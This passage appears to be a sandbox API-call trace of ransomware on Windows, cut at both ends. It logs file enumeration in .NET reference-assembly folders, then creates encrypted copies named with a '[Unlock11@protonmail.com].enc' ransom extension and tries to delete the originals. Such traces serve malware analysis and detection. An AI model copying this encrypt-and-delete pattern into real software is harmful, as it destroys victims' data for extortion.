lpFilePart=0x9bada4*="System.AddIn.dll") returned 0x55 [0229.763] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll", lpFilePart=0x9bada4*="System.ComponentModel.DataAnnotations.dll") returned 0x6e [0229.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll", lpFilePart=0x9bada4*="System.Core.dll") returned 0x54 [0229.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll", lpFilePart=0x9bada4*="System.Data.DataSetExtensions.dll") returned 0x66 [0229.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll", lpFilePart=0x9bada4*="System.Data.Entity.Design.dll") returned 0x62 [0229.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0229.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll", lpFilePart=0x9bada4*="System.Data.Entity.dll") returned 0x5b [0229.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0229.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0229.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.765] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll", lpFilePart=0x9bada4*="System.Data.Linq.dll") returned 0x59 [0229.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0229.765] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll", lpFilePart=0x9bada4*="System.Data.Services.Client.dll") returned 0x64 [0229.765] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll", lpFilePart=0x9bada4*="System.Data.Services.Design.dll") returned 0x64 [0229.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0229.766] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll", lpFilePart=0x9bada4*="System.Data.Services.dll") returned 0x5d [0229.766] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll", lpFilePart=0x9bada4*="System.DirectoryServices.AccountManagement.dll") returned 0x73 [0229.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0229.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0229.779] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll", lpFilePart=0x9bada4*="System.Management.Instrumentation.dll") returned 0x6a [0229.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.779] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll", lpFilePart=0x9bada4*="System.Net.dll") returned 0x53 [0229.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0229.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0229.780] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll", lpFilePart=0x9bada4*="System.ServiceModel.Web.dll") returned 0x60 [0229.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.780] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll", lpFilePart=0x9bada4*="System.Web.Abstractions.dll") returned 0x60 [0229.780] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll", lpFilePart=0x9bada4*="System.Web.DynamicData.Design.dll") returned 0x66 [0229.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.781] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll", lpFilePart=0x9bada4*="System.Web.DynamicData.dll") returned 0x5f [0229.781] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll", lpFilePart=0x9bada4*="System.Web.Entity.Design.dll") returned 0x61 [0229.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0229.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0229.781] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll", lpFilePart=0x9bada4*="System.Web.Entity.dll") returned 0x5a [0229.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll", lpFilePart=0x9bada4*="System.Web.Extensions.Design.dll") returned 0x65 [0229.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll", lpFilePart=0x9bada4*="System.Web.Extensions.dll") returned 0x5e [0229.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll", lpFilePart=0x9bada4*="System.Web.Routing.dll") returned 0x5b [0229.783] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll", lpFilePart=0x9bada4*="System.Windows.Presentation.dll") returned 0x64 [0229.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0229.783] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll", lpFilePart=0x9bada4*="System.WorkflowServices.dll") returned 0x60 [0229.783] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll", lpFilePart=0x9bada4*="System.Xml.Linq.dll") returned 0x58 [0229.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0229.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0229.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.784] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0229.784] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.784] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5738bfdc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5738bfdc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0229.784] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5738bfdc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5738bfdc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0229.784] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0229.785] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0229.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0229.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0229.785] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", lpFilePart=0x9bada4*="FrameworkList.xml") returned 0x61 [0229.785] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5738bfdc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5738bfdc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0)) returned 1 [0229.786] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671034 | out: pbBuffer=0x3671034) returned 1 [0229.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0229.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0229.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0229.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0229.786] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.787] GetFileType (hFile=0x334) returned 0x1 [0229.787] GetFileType (hFile=0x334) returned 0x1 [0229.787] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.787] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.787] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.787] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.787] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.787] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.787] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.788] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.788] GetFileType (hFile=0x39c) returned 0x1 [0229.788] GetFileType (hFile=0x39c) returned 0x1 [0229.788] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.788] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.792] CloseHandle (hObject=0x39c) returned 1 [0229.792] CloseHandle (hObject=0x334) returned 1 [0229.792] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0 [0229.792] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0229.793] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.793] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0229.793] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0229.793] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0229.794] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml")) returned 0x20 [0229.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0229.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0229.794] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", lpFilePart=0x9bada4*="Client.xml") returned 0x5a [0229.794] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd76)) returned 1 [0229.795] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ee4 | out: pbBuffer=0x3671ee4) returned 1 [0229.795] CreateFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.795] GetFileType (hFile=0x334) returned 0x1 [0229.795] GetFileType (hFile=0x334) returned 0x1 [0229.795] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.795] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.795] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.796] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.796] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.796] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.796] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.796] CreateFileA (lpFileName="C:\\Program Files 